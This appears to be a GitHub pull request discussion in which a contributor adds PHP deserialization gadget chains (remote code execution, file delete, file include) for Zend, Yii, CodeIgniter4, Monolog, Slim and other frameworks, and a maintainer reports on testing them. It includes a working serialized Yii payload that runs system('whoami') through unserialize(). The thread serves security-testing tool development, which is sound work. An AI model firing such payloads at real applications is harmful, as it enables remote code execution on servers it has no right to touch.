add some gadget chains that I had collected#160
add some gadget chains that I had collected#160CyanM0un wants to merge 31 commits intoambionics:masterfrom
Conversation
|
Hello CyanM0un, That's amazing work ! I'll try and integrate it in the upcoming weeks, as you have said it is a lot of work :) Charles |
|
Hello, Still haven't had time to check this amazing work. Will do in the upcoming weeks ! |
|
Hello, I have started working on your GCs, CyanM0un. Every ZendFramework payloads works except for the FI1: Any ideas why ? |
|
Oh, in the last gadget class (Zend_Loader_PluginLoader), the function load will append a '.php' suffix to the file path, so '/tmp/phpggc110c813231d70d6d47e543bc48d27d69254966a5' may not be found. |
maybe we should specify that the chain only include arbitrary PHP file |
|
Ok, fixed for Zend. Yii2 GCs work as well. Now, Yii/RCE3 tries to use PHPUnit_Extensions_Selenium2TestCase_Session, which is NOT included in the Yii 1.1.20 distribution. |
|
I used the command |
|
Ok, I used the package present in their github repository. Do you by any chance still have your vendor/composer/installed.json? |
|
I don't think that's the problem ... I test it right now using the package and it worked, eg: <?php
include("./vendor/autoload.php");
include("./framework/YiiBase.php");
$poc = "O%3A11%3A%22CDbCriteria%22%3A1%3A%7Bs%3A6%3A%22params%22%3BO%3A12%3A%22CMapIterator%22%3A3%3A%7Bs%3A16%3A%22%00CMapIterator%00_d%22%3BO%3A5%3A%22CForm%22%3A1%3A%7Bs%3A16%3A%22%00CForm%00_elements%22%3BO%3A44%3A%22PHPUnit_Extensions_Selenium2TestCase_Session%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00commands%22%3Ba%3A1%3A%7Bs%3A6%3A%22itemAt%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A6%3A%22%00%2A%00url%22%3BO%3A40%3A%22PHPUnit_Extensions_Selenium2TestCase_URL%22%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00driver%22%3BO%3A23%3A%22DocBlox_Parallel_Worker%22%3A0%3A%7B%7D%7D%7Ds%3A19%3A%22%00CMapIterator%00_keys%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A18%3A%22%00CMapIterator%00_key%22%3Bs%3A6%3A%22whoami%22%3B%7D%7D";
unserialize(urldecode($poc)); // system('whoami')the error was triggered in the |
|
Ok, I was missing the YiiBase import :) Making progress! |
Indeed a mount of work. 😂 Best respect for you |
|
Hello @CyanM0un ! I am back to process a few more GCs. In CI4, RCE7, you use and Any ideas? |
|
|
||
| class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall | ||
| { | ||
| public static $version = '2.1.5 <= 2.5.3 & 2.11.2'; |
There was a problem hiding this comment.
Which package(s) are these versions for?
There was a problem hiding this comment.
|
|
||
| class FD1 extends \PHPGGC\GadgetChain\FileDelete | ||
| { | ||
| public static $version = '*'; |
There was a problem hiding this comment.
Fixed version here: it starts at 1.7.0
|
|
||
| public function __construct($path, $data) | ||
| { | ||
| $this->buffer = [["level"=>1,"message"=>$data,'datetime'=>new \Gelf\Message(),'level_name'=>'']]; |
There was a problem hiding this comment.
Gelf\Message is not present.
There was a problem hiding this comment.
again by composer create-project monolog/monolog=2.0.0 monolog, in fact, a class that has the getTimestamp method will be ok
There was a problem hiding this comment.
Same: by default, create-projecŧ seems to include dev dependencies, while install does NOT.
We have generally refrained from including dev dependencies to GCs, as they are not often included.
|
|
||
| class RCE10 extends \PHPGGC\GadgetChain\RCE\Command | ||
| { | ||
| public static $version = '2.0.0 & 2.1.0 <= 2.x-dev'; |
| { | ||
| $remote_path = $parameters["remote_path"]; | ||
|
|
||
| return new \Keradus\CliExecutor\ScriptExecutor($remote_path); |
There was a problem hiding this comment.
Class missing after: composer require friendsofphp/php-cs-fixer=2.17.3
There was a problem hiding this comment.
still by composer create-project friendsofphp/php-cs-fixer=2.17.3 phpcsfixer. I want to clarify that I'm not really that familiar with php development myself, so I'm not quite sure what the differences are between these building ways.
There was a problem hiding this comment.
keradus is included as a require-dev dependency of php-cs-fixer, which is why I couldn't see it. It generally will not be present.
|
|
||
| namespace Pop\Mail\Transport\Smtp | ||
| { | ||
| class EsmtpTransport |
There was a problem hiding this comment.
maybe because the below reason or composer install?
| @@ -0,0 +1,15 @@ | |||
| <?php | |||
There was a problem hiding this comment.
Does not work against any versions, and version 4.7.0 does not seem to exist? Last being 4.3.4
There was a problem hiding this comment.
sorry about the confusion, I used the framework https://github.com/popphp/popphp-framework
| $function = $parameters['function']; | ||
| $parameter = $parameters['parameter']; | ||
|
|
||
| return new \Prophecy\Argument\Token\ExactValueToken($function, $parameter); |
There was a problem hiding this comment.
composer require slim/slim:3.8.1 -> no prophecy
There was a problem hiding this comment.
the same reason for composer create-project slim/slim=3.8.1 slim
| $function = $parameters['function']; | ||
| $parameter = $parameters['parameter']; | ||
|
|
||
| return new \phpDocumentor\Reflection\DocBlock\Tags\Method($function, $parameter); |
|
|
||
| function __construct() | ||
| { | ||
| $this->writer = new \XMLWriter; |
There was a problem hiding this comment.
Uncaught Error: Invalid or uninitialized XMLWriter object in .../vendor/phpunit/php-code-coverage/src/Report/Xml/Coverage.php:62
There was a problem hiding this comment.
I am also confused, this gadget works well in my computer. In fact, look at the __construct code:
public function __construct(DOMElement $context, string $line) {
$this->contextNode = $context;
$this->writer = new XMLWriter;
$this->writer->openMemory();
......
}I can't figure out how this will happen ...
There was a problem hiding this comment.
What's your PHP version? It looks like it is due to deserialisation.
There was a problem hiding this comment.
PHP 7.4.3 (cli) (built: Feb 18 2020 17:29:57) ( NTS Visual C++ 2017 x64 )
I used the second way, however, after I get the source code I usually use the command |
|
Finally, thank you very much for your continued contact. I also admire your work on |
This is what I am doing, but still, it does not work: |
sorry, my URL is https://github.com/codeigniter4/CodeIgniter4/archive/refs/tags/v4.1.3.zip |
Hi,
I sorted out a few gadget chains of some frameworks. I have manually checked all of them and some of them have passed the test-gc-compatibility script, which I have modified the corresponding version range in the chain.php.
It seems like no small work for both of us :)